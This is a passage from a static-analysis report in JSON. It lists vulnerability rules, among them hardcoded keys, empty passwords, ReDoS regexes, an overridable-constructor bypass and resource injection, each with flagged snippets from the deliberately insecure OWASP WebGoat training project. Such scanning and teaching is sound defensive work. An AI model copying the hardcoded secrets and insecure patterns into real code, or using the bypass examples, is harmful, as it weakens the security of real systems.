key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n<b>Example 1:</b> The following code uses a hardcoded encryption key:\n\n<pre>\n...\nprivate static final String encryptionKey = \"lakdsljkalkjlksdfkl\";\nbyte[] keyBytes = encryptionKey.getBytes();\nSecretKeySpec key = new SecretKeySpec(keyBytes, \"AES\");\nCipher encryptCipher = Cipher.getInstance(\"AES\");\nencryptCipher.init(Cipher.ENCRYPT_MODE, key);\n...\n</pre>\n\nAnyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.</Content>","title":"<Content>Hardcoded encryption keys can compromise security in a way that cannot be easily remedied.</Content>","impact":0.8,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/TokenTest.java\nStartLine: 40, EndLine: 46\nCode:\n@Test\n    public void test() {\n        String key = \"qwertyqwerty1234\";\n        Map<String, Object> claims = Maps.newHashMap();\n        claims.put(\"username\", \"Jerry\");\n        claims.put(\"aud\", \"webgoat.org\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTFinalEndpointTest.java\nStartLine: 38, EndLine: 44\nCode:\n@Test\n    public void solveAssignment() throws Exception {\n        String key = \"deletingTom\";\n        Map<String, Object> claims = Maps.newHashMap();\n        claims.put(\"username\", \"Tom\");\n        String token = Jwts.builder()","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-12","Rev_4"]}},{"id":"0E2798F4-EFFE-4390-A6F5-FFBD9DC071B8","desc":"<Content>This expression (or part of it) will always evaluate to <code>false</code>; the program could be rewritten in a simpler form. The nearby code may be present for debugging purposes, or it may not have been maintained along with the rest of the program. The expression may also be indicative of a bug earlier in the method.\n\n<b>Example 1:</b> The following method never sets the variable <code>secondCall</code> after initializing it to <code>false</code>. (The variable <code>firstCall</code> is mistakenly used twice.)  The result is that the expression <code>firstCall &amp;&amp; secondCall</code> will always evaluate to <code>false</code>, so <code>setUpDualCall()</code> will never be invoked.\n\n<pre>\npublic void setUpCalls() {\n  boolean firstCall = false;\n  boolean secondCall = false;\n\n  if (fCall &gt; 0) {\n    setUpFCall();\n    firstCall = true;\n  }\n  if (sCall &gt; 0) {\n    setUpSCall();\n    firstCall = true;\n  }\n\n  if (firstCall &amp;&amp; secondCall) {\n    setUpDualCall();\n  }\n}\n</pre>\n\n<b>Example 2:</b> The following method never sets the variable <code>firstCall</code> to <code>true</code>. (The variable <code>firstCall</code> is mistakenly set to <code>false</code> after the first conditional statement.)  The result is that the first part of the expression <code>firstCall &amp;&amp; secondCall</code> will always evaluate to <code>false</code>.\n\n<pre>\npublic void setUpCalls() {\n  boolean firstCall = false;\n  boolean secondCall = false;\n\n  if (fCall &gt; 0) {\n    setUpFCall();\n    firstCall = false;\n  }\n  if (sCall &gt; 0) {\n    setUpSCall();\n    secondCall = true;\n  }\n\n  if (firstCall || secondCall) {\n    setUpForCall();\n  }\n}\n</pre></Content>","title":"<Content><Paragraph>The expression (or part of it) at <Replace key=\"PrimaryLocation.file\"/> line <Replace key=\"PrimaryLocation.line\"/> will always evaluate to <code>false</code>.<AltParagraph>This expression (or part of it) will always evaluate to <code>false</code>.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-integration-tests/src/test/java/org/owasp/webgoat/IntegrationTest.java\nStartLine: 43, EndLine: 49\nCode:\n@BeforeClass\n    public static void beforeAll() {\n    \t\n    \tif (WG_SSL) {\n    \t\tWEBGOAT_URL = WEBGOAT_URL.replace(\"http:\",\"https:\");\n    \t}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-integration-tests/src/test/java/org/owasp/webgoat/IntegrationTest.java\nStartLine: 26, EndLine: 32\nCode:\nprotected static int WW_PORT = 9090;\n    private static String WEBGOAT_URL = \"http://127.0.0.1:\" + WG_PORT + \"/WebGoat/\";\n    private static String WEBWOLF_URL = \"http://127.0.0.1:\" + WW_PORT + \"/\";\n    private static boolean WG_SSL = false;//enable this if you want to run the test on ssl\n\n    //TODO no longer required but will be removed once all usages are removed\n    protected static RestAssuredConfig restConfig = RestAssuredConfig.newConfig().sslConfig(new SSLConfig().relaxedHTTPSValidation());","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["unmapped","Rev_4"]}},{"id":"8bd01c50-a769-11de-8a39-0800200c9a66","desc":"<Content>It is never a good idea to assign an empty string to a password variable. If the empty password is used to successfully authenticate against another system, then the corresponding account's security is likely compromised because it accepts an empty password. If the empty password is merely a placeholder until a legitimate value can be assigned to the variable, then it can confuse anyone unfamiliar with the code and potentially cause problems on unexpected control flow paths.\n\n<Paragraph>\nIn this case, an empty password was found in the call to <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example 1:</b> The following code attempts to connect to a database with an empty password.\n<pre>\n    ...\n    DriverManager.getConnection(url, \"scott\", \"\");\n    ...\n</pre>\n\nIf the code in <code>Example 1</code> succeeds, it indicates that the database user account \"scott\" is configured with an empty password, which an attacker can easily guess. After the program ships, updating the account to use a non-empty password will require a code change.\n\n<b>Example 2:</b> The following code initializes a password variable to an empty string, attempts to read a stored value for the password, and compares it against a user-supplied value.\n\n<pre>\n    ...\n    String storedPassword = \"\";\n    String temp;\n\n    if ((temp = readPassword()) != null) {\n        storedPassword = temp;\n    }\n\n    if(storedPassword.equals(userPassword))\n        // Access protected resources\n        ...\n    }\n    ...\n</pre>\n\nIf <code>readPassword()</code> fails to retrieve the stored password due to a database error or another problem, then an attacker could trivially bypass the password check by providing an empty string for <code>userPassword</code>.\n\nIn the mobile environment, password management is especially important given that there is such a high chance of device loss.\n<b>Example 3:</b> The following code initializes username and password variables to empty strings, reads credentials from an Android WebView store if they have not been previously rejected by the server for the current request, and uses them to setup authentication for viewing protected pages.\n<pre>\n...\nwebview.setWebViewClient(new WebViewClient() {\n  public void onReceivedHttpAuthRequest(WebView view,\n        HttpAuthHandler handler, String host, String realm) {\n    String username = \"\";\n    String password = \"\";\n\n    if (handler.useHttpAuthUsernamePassword()) {\n      String[] credentials = view.getHttpAuthUsernamePassword(host, realm);\n      username = credentials[0];\n      password = credentials[1];\n    }\n    handler.proceed(username, password);\n  }\n});\n...\n</pre>\n\nSimilar to <code>Example 2</code>, if <code>useHttpAuthUsernamePassword()</code> returns <code>false</code>, an attacker will be able to view protected pages by supplying an empty password.</Content>","title":"<Content>Empty passwords may compromise system security in a way that cannot be easily remedied.</Content>","impact":0.8,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/User.java\nStartLine: 28, EndLine: 34\nCode:\npublic class User {\n\n    private String username = \"\";\n    private String password = \"\";\n    private String email = \"\";\n\n    public String getPassword() {","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-28","Rev_4"]}},{"id":"B7B14951-4F9F-44FF-9FFF-BD8774F40CD9","desc":"<Content>There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.\n<b>Example:</b>\n<pre>\n  (e+)+\n  ([a-zA-Z]+)*\n  (e|ee)+\n</pre>\nThere are no known regular expression implementations which are immune to this vulnerability. All platforms and languages are vulnerable to this attack.</Content>","title":"<Content>Untrusted data is passed to the application and used as a regular expression. This can cause the thread to overconsume CPU resources.</Content>","impact":0.8,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/http_proxies/HttpBasicsInterceptRequest.java\nStartLine: 38, EndLine: 44\nCode:\n@ResponseBody\n    public AttackResult completed(@RequestHeader(value = \"x-request-intercepted\", required = false) Boolean headerValue,\n                                  @RequestParam(value = \"changeMe\", required = false) String paramValue, HttpServletRequest request) {\n        if (HttpMethod.POST.matches(request.getMethod())) {\n            return trackProgress(failed().feedback(\"http-proxies.intercept.failure\").build());\n        }\n        if (headerValue != null && paramValue != null && headerValue && \"Requests are tampered easily\".equalsIgnoreCase(paramValue)) {","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-5","Rev_4"]}},{"id":"9C5BD1B5-C296-48d4-B5F5-5D2958661BC4","desc":"<Content>It is never a good idea to hardcode a password. Not only does hardcoding a password allow all of the project's developers to view the password, it also makes fixing the problem extremely difficult. After the code is in production, the password cannot be changed without patching the software. If the account protected by the password is compromised, the owners of the system must choose between security and availability.\n<Paragraph>\nIn this case, a hardcoded password was found in the call to <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example 1:</b> The following code uses a hardcoded password to connect to a database:\n\n<pre>\n...\nDriverManager.getConnection(url, \"scott\", \"tiger\");\n...\n</pre>\n\nThis code will run successfully, but anyone who has access to it will have access to the password. After the program ships, there is likely no way to change the database user \"scott\" with a password of \"tiger\" unless the program is patched. An employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for the application they can use the <code>javap -c</code> command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for <code>Example 1</code>:\n\n<pre>\njavap -c ConnMngr.class\n\n22: ldc   #36; //String jdbc:mysql://ixne.com/rxsql\n24: ldc   #38; //String scott\n26: ldc   #17; //String tiger\n</pre>\n\nIn the mobile environment, password management is especially important given that there is such a high chance of device loss.\n<b>Example 2:</b> The following code uses hardcoded username and password to setup authentication for viewing protected pages with Android's WebView.\n<pre>\n...\nwebview.setWebViewClient(new WebViewClient() {\n  public void onReceivedHttpAuthRequest(WebView view,\n        HttpAuthHandler handler, String host, String realm) {\n    handler.proceed(\"guest\", \"allow\");\n  }\n});\n...\n</pre>\n\nSimilar to <code>Example 1</code>, this code will run successfully, but anyone who has access to it will have access to the password.</Content>","title":"<Content>Hardcoded passwords may compromise system security in a way that cannot be easily remedied.</Content>","impact":0.8,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webwolf/src/test/java/org/owasp/webwolf/user/UserServiceTest.java\nStartLine: 66, EndLine: 72\nCode:\n@Test\n    public void testAddUser(){\n        var username = \"guest\";\n        var password = \"guest\";\n\n        sut.addUser(username, password);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/test/java/org/owasp/webwolf/user/UserValidatorTest.java\nStartLine: 74, EndLine: 80\nCode:\n@Test\n    public void registerExistingUserAgainShouldFail() {\n        var username = \"guest\";\n        var password = \"123\";\n        var validUserForm = new UserForm();\n        validUserForm.setUsername(username);\n        validUserForm.setMatchingPassword(password);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6b.java\nStartLine: 51, EndLine: 57\nCode:\nprotected String getPassword() {\n\n        String password = \"dave\";\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n            String query = \"SELECT password FROM user_system_data WHERE user_name = 'dave'\";","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/test/java/org/owasp/webwolf/user/UserServiceTest.java\nStartLine: 45, EndLine: 51\nCode:\n@Test\n    public void testLoadUserByUsername(){\n        var username = \"guest\";\n        var password = \"123\";\n        WebGoatUser user = new WebGoatUser(username, password);\n        when(mockUserRepository.findByUsername(username)).thenReturn(user);","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-28","Rev_4"]}},{"id":"95ACE7A2-BF14-4254-AFD3-22769C5FDC5F","desc":"<Content>When a constructor calls an overridable function, it may allow an attacker to access the <code>this</code> reference prior to the object being fully initialized, which can in turn lead to a vulnerability.\n\n<b>Example 1:</b> The following calls a method that can be overridden.\n\n<pre>\n  ...\n  class User {\n    private String username;\n    private boolean valid;\n    public User(String username, String password){\n      this.username = username;\n      this.valid = validateUser(username, password);\n    }\n    public boolean validateUser(String username, String password){\n      //validate user is real and can authenticate\n      ...\n    }\n    public final boolean isValid(){\n      return valid;\n    }\n  }\n</pre>\n\nSince the function <code>validateUser</code> and the class are not <code>final</code>, it means that they can be overridden, and then initializing a variable to the subclass that overrides this function would allow bypassing of the <code>validateUser</code> functionality. For example:\n\n<pre>\n  ...\n  class Attacker extends User{\n    public Attacker(String username, String password){\n      super(username, password);\n    }\n    public boolean validateUser(String username, String password){\n      return true;\n    }\n  }\n  ...\n  class MainClass{\n    public static void main(String[] args){\n      User hacker = new Attacker(\"Evil\", \"Hacker\");\n      if (hacker.isValid()){\n        System.out.println(\"Attack successful!\");\n      }else{\n        System.out.println(\"Attack failed\");\n      }\n    }\n  }\n</pre>\n\nThe code in <code>Example 1</code> prints &quot;Attack successful!&quot;, since the <code>Attacker</code> class overrides the <code>validateUser()</code> function that is called from the constructor of the superclass <code>User</code>, and Java will first look in the subclass for functions called from the constructor.</Content>","title":"<Content><Paragraph>A constructor of <Replace key=\"EnclosingClass.name\"/> in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/> calls a function that can be overridden by an attacker.<AltParagraph>A constructor of the class calls a function that can be overridden.</AltParagraph></Paragraph></Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/DisplayUser.java\nStartLine: 55, EndLine: 61\nCode:\n// create userHash on the fly\n        //TODO: persist userHash\n        try {\n            this.userHash = genUserHash(user.getUsername(), user.getPassword());\n        } catch (Exception ex) {\n            //TODO: implement better fallback operation\n            this.userHash = \"Error generating user hash\";","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/DisplayUser.java\nStartLine: 44, EndLine: 67\nCode:\nprivate boolean admin;\n    private String userHash;\n\n    public DisplayUser(WebGoatUser user) {\n        this.username = user.getUsername();\n        this.admin = false;\n\n        for (GrantedAuthority authority : user.getAuthorities()) {\n            this.admin = (authority.getAuthority().contains(\"WEBGOAT_ADMIN\")) ? true : false;\n        }\n\n        // create userHash on the fly\n        //TODO: persist userHash\n        try {\n            this.userHash = genUserHash(user.getUsername(), user.getPassword());\n        } catch (Exception ex) {\n            //TODO: implement better fallback operation\n            this.userHash = \"Error generating user hash\";\n        }\n\n    }\n\n    protected String genUserHash (String username, String password) throws Exception {\n        MessageDigest md = MessageDigest.getInstance(\"SHA-256\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/MD5.java\nStartLine: 36, EndLine: 42\nCode:\n* @since ostermillerutils 1.00.00\n     */\n    public MD5() {\n        reset();\n    }\n\n    /**","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/MD5.java\nStartLine: 35, EndLine: 43\nCode:\n*\n     * @since ostermillerutils 1.00.00\n     */\n    public MD5() {\n        reset();\n    }\n\n    /**\n     * Command line program that will take files as arguments","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/user/WebGoatUser.java\nStartLine: 58, EndLine: 64\nCode:\npublic WebGoatUser(String username, String password) {\n        this.username = username;\n        this.password = password;\n        createUser();\n    }\n\n    public void createUser() {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/user/WebGoatUser.java\nStartLine: 55, EndLine: 65\nCode:\nprotected WebGoatUser() {\n    }\n\n    public WebGoatUser(String username, String password) {\n        this.username = username;\n        this.password = password;\n        createUser();\n    }\n\n    public void createUser() {\n        this.user = new User(username, password, getAuthorities());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/users/WebGoatUser.java\nStartLine: 36, EndLine: 42\nCode:\npublic WebGoatUser(String username, String password) {\n        this.username = username;\n        this.password = password;\n        createUser();\n    }\n\n    public WebGoatUser(String username, String password, String role) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/users/WebGoatUser.java\nStartLine: 33, EndLine: 43\nCode:\nprotected WebGoatUser() {\n    }\n\n    public WebGoatUser(String username, String password) {\n        this.username = username;\n        this.password = password;\n        createUser();\n    }\n\n    public WebGoatUser(String username, String password, String role) {\n        this.username = username;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/UserSessionData.java\nStartLine: 13, EndLine: 19\nCode:\n}\n\n    public UserSessionData(String key, String value) {\n        setValue(key,value);\n    }\n\n    //GETTERS & SETTERS","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/UserSessionData.java\nStartLine: 12, EndLine: 20\nCode:\npublic UserSessionData() {\n    }\n\n    public UserSessionData(String key, String value) {\n        setValue(key,value);\n    }\n\n    //GETTERS & SETTERS\n    public Object getValue(String key) {","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["unmapped","Rev_4"]}},{"id":"FE7263A8-4A1C-4048-9F53-5B892AC7533A","desc":"<Content>It is confusing to have a member field and a method with the same name. It makes it easy for a programmer to accidentally call the method when attempting to access the field or vice versa.\n\n<b>Example 1:</b>\n\n<pre>\npublic class Totaller {\n  private int total;\n  public int total() {\n    ...\n  }\n}\n</pre></Content>","title":"<Content><Paragraph>The class <Replace key=\"EnclosingClass.name\"/> contains a field and a method both named <Replace key=\"$f.name$\"/>, which is confusing.<AltParagraph>The class contains a field and a method with the same name.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/assignments/AttackResult.java\nStartLine: 36, EndLine: 42\nCode:\nprivate boolean lessonCompleted;\n        private PluginMessages messages;\n        private Object[] feedbackArgs;\n        private String feedbackResourceBundleKey;\n        private String output;\n        private Object[] outputArgs;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/assignments/AttackResult.java\nStartLine: 57, EndLine: 66\nCode:\nreturn this;\n        }\n\n        public AttackResultBuilder feedbackArgs(Object... args) {\n            this.feedbackArgs = args;\n            return this;\n        }\n\n        public AttackResultBuilder feedback(String resourceBundleKey) {\n            this.feedbackResourceBundleKey = resourceBundleKey;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/assignments/AttackResult.java\nStartLine: 38, EndLine: 44\nCode:\nprivate PluginMessages messages;\n        private Object[] feedbackArgs;\n        private String feedbackResourceBundleKey;\n        private String output;\n        private Object[] outputArgs;\n\n        public AttackResultBuilder(PluginMessages messages) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/assignments/AttackResult.java\nStartLine: 67, EndLine: 76\nCode:\nreturn this;\n        }\n\n        public AttackResultBuilder output(String output) {\n            this.output = output;\n            return this;\n        }\n\n        public AttackResultBuilder outputArgs(Object... args) {\n            this.outputArgs = args;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/assignments/AttackResult.java\nStartLine: 39, EndLine: 45\nCode:\nprivate Object[] feedbackArgs;\n        private String feedbackResourceBundleKey;\n        private String output;\n        private Object[] outputArgs;\n\n        public AttackResultBuilder(PluginMessages messages) {\n            this.messages = messages;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/assignments/AttackResult.java\nStartLine: 72, EndLine: 81\nCode:\nreturn this;\n        }\n\n        public AttackResultBuilder outputArgs(Object... args) {\n            this.outputArgs = args;\n            return this;\n        }\n\n        public AttackResult build() {\n            return new AttackResult(lessonCompleted, messages.getMessage(feedbackResourceBundleKey, feedbackArgs), messages.getMessage(output, output, outputArgs));","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["unmapped","Rev_4"]}},{"id":"8F3B2393-5D1E-4860-A96F-0F6E0274923F","desc":"<Content>A resource injection issue occurs when the following two conditions are met:\n\n1. An attacker is able to specify the identifier used to access a system resource.\n\nFor example, an attacker may be able to specify a port number to be used to connect to a network resource.\n\n2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.\n\nFor example, the program may give the attacker the ability to transmit sensitive information to a third-party server.\n\n<Paragraph>\nIn this case, the attacker may specify the value that enters the program at <Replace key=\"SourceFunction\" link=\"SourceLocation\"/> in <Replace key=\"SourceLocation.file\"/> at line <Replace key=\"SourceLocation.line\"/>, and this value is used to access a system resource at <Replace key=\"SinkFunction\" link=\"SinkLocation\"/> in <Replace key=\"SinkLocation.file\"/> at line <Replace key=\"SinkLocation.line\"/>.\n</Paragraph>\n\nNote: Resource injections involving resources stored on the file system are reported in a separate category named path manipulation. See the path manipulation description for further details of this vulnerability.\n\n<b>Example 1:</b> The following code uses a port number read from an HTTP request to create a socket.\n\n<pre>\nString remotePort = request.getParameter(\"remotePort\");\n...\nServerSocket srvr = new ServerSocket(remotePort);\nSocket skt = srvr.accept();\n...\n</pre>\n\nSome think that in the mobile world, classic web application vulnerabilities, such as resource injection, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.\n\n<b>Example 2:</b> The following code uses a URL read from an Android intent to load the page in <code>WebView</code>.\n\n<pre>\n...\n\tWebView webview = new WebView(this);\n\tsetContentView(webview);\n        String url = this.getIntent().getExtras().getString(\"url\");\n\twebview.loadUrl(url);\n...\n</pre>\n\nThe kind of resource affected by user input indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash are risky when used in methods that interact with the file system. Similarly, data that contains URLs and URIs is risky for functions that create remote connections.</Content>","title":"<Content><Paragraph>Attackers are able to control the resource identifier argument to <Replace key=\"PrimaryCall.name\"/> at <Replace key=\"PrimaryLocation.file\"/> line <Replace key=\"PrimaryLocation.line\"/>, which could enable them to access or modify otherwise protected system resources.<AltParagraph>Allowing user input to control resource identifiers could enable an attacker to access or modify otherwise protected system resources.</AltParagraph></Paragraph></Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/LandingAssignment.java\nStartLine: 58, EndLine: 64\nCode:\n@GetMapping(\"/password-reset\")\n    public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException {\n        URI uri = new URI(request.getRequestURL().toString());\n        ModelAndView modelAndView = new ModelAndView();\n        modelAndView.addObject(\"webwolfUrl\", landingPageUrl);\n        modelAndView.addObject(\"uniqueCode\", StringUtils.reverse(getWebSession().getUserName()));","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java\nStartLine: 61, EndLine: 67\nCode:\nif (StringUtils.hasText(email)) {\n            String username = email.substring(0, email.indexOf(\"@\"));\n            if (StringUtils.hasText(username)) {\n                URI uri = new URI(request.getRequestURL().toString());\n                Email mail = Email.builder()\n                        .title(\"Your password reset link for challenge 7\")\n                        .contents(String.format(TEMPLATE, uri.getScheme() + \"://\" + uri.getHost(), new PasswordResetLink().createPasswordReset(username, \"webgoat\")))","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SI-10","Rev_4"]}},{"id":"625EEE1F-464F-42DC-85D6-269A637EF747","desc":"<Content>A common development practice is to add \"back door\" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the application. When this sort of debug code is accidentally left in the application, the application is open to unintended modes of interaction. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the application.\n\nThe most common example of forgotten debug code is a <code>main()</code> method appearing in a web application. Although this is an acceptable practice during product development, classes that are part of a production J2EE application should not define a <code>main()</code>.</Content>","title":"<Content><Paragraph>The class <Replace key=\"EnclosingClass.name\"/> contains debug code, which can create unintended entry points in a deployed web application.<AltParagraph>Debug code can create unintended entry points in a deployed web application.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/WebWolf.java\nStartLine: 36, EndLine: 43\nCode:\nreturn new WebWolfTraceRepository();\n    }\n\n    public static void main(String[] args) {\n        System.setProperty(\"spring.config.name\", \"application-webwolf\");\n        SpringApplication.run(WebWolf.class, args);\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-server/src/main/java/org/owasp/webgoat/StartWebGoat.java\nStartLine: 40, EndLine: 48\nCode:\n@Slf4j\npublic class StartWebGoat extends SpringBootServletInitializer {\n\n    public static void main(String[] args) {\n        log.info(\"Starting WebGoat with args: {}\", StringUtils.arrayToCommaDelimitedString(args));\n        System.setProperty(\"spring.config.name\", \"application-webgoat\");\n        SpringApplication.run(StartWebGoat.class, args);\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/PasswordResetLink.java\nStartLine: 30, EndLine: 43\nCode:\nreturn new String(a);\n    }\n\n    public static void main(String[] args) {\n        if (args == null || args.length != 2) {\n            System.out.println(\"Need a username and key\");\n            System.exit(1);\n        }\n        String username = args[0];\n        String key = args[1];\n        System.out.println(\"Generation password reset link for \" + username);\n        System.out.println(\"Created password reset link: \" + new PasswordResetLink().createPasswordReset(username, key));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/MD5.java\nStartLine: 46, EndLine: 64\nCode:\n* @param args command line arguments\n     * @since ostermillerutils 1.00.00\n     */\n    public static void main(String[] args) {\n        if (args.length == 0) {\n            System.err.println(\"Please specify a file.\");\n        } else {\n            for (String element : args) {\n                try {\n                    System.out.println(MD5.getHashString(new File(element)) + \" \" + element);\n                } catch (IOException x) {\n                    System.err.println(x.getMessage());\n                }\n            }\n        }\n    }\n\n    /**\n     * Gets this hash sum as an array of 16 bytes.","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["unmapped","Rev_4"]}},{"id":"F972FE42-6C15-47D2-BD5C-448166A574C2","desc":"<Content><b>Example 1:</b> The first Java program that a developer learns to write is the following:\n\n<pre>\npublic class MyClass\n  public static void main(String[] args) {\n    System.out.println(\"hello world\");\n  }\n}\n</pre>\n\nWhile most programmers go on to learn many nuances and subtleties about Java, a surprising number hang on to this first lesson and never give up on writing messages to standard output using <code>System.out.println()</code>.\n\nThe problem is that writing directly to standard output or standard error is often used as an unstructured form of logging. Structured logging facilities provide features like logging levels, uniform formatting, a logger identifier, timestamps, and, perhaps most critically, the ability to direct the log messages to the right place. When the use of system output streams is jumbled together with the code that uses loggers properly, the result is often a well-kept log that is missing critical information.\n\nDevelopers widely accept the need for structured logging, but many continue to use system output streams in their \"pre-production\" development. If the code you are reviewing is past the initial phases of development, use of <code>System.out</code> or <code>System.err</code> may indicate an oversight in the move to a structured logging system.</Content>","title":"<Content><Paragraph>Using <Replace key=\"PrimaryCall.name\"/> rather than a dedicated logging facility makes it difficult to monitor the behavior of the program.<AltParagraph>Using <code>System.out</code> or <code>System.err</code> rather than a dedicated logging facility makes it difficult to monitor the behavior of the program.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 129, EndLine: 135\nCode:\nStatement statement = connection.createStatement();\n            statement.executeUpdate(log_query);\n        } catch (SQLException e) {\n            System.err.println(e.getMessage());\n        }\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 69, EndLine: 75\nCode:\n}\n            } catch (SQLException e) {\n                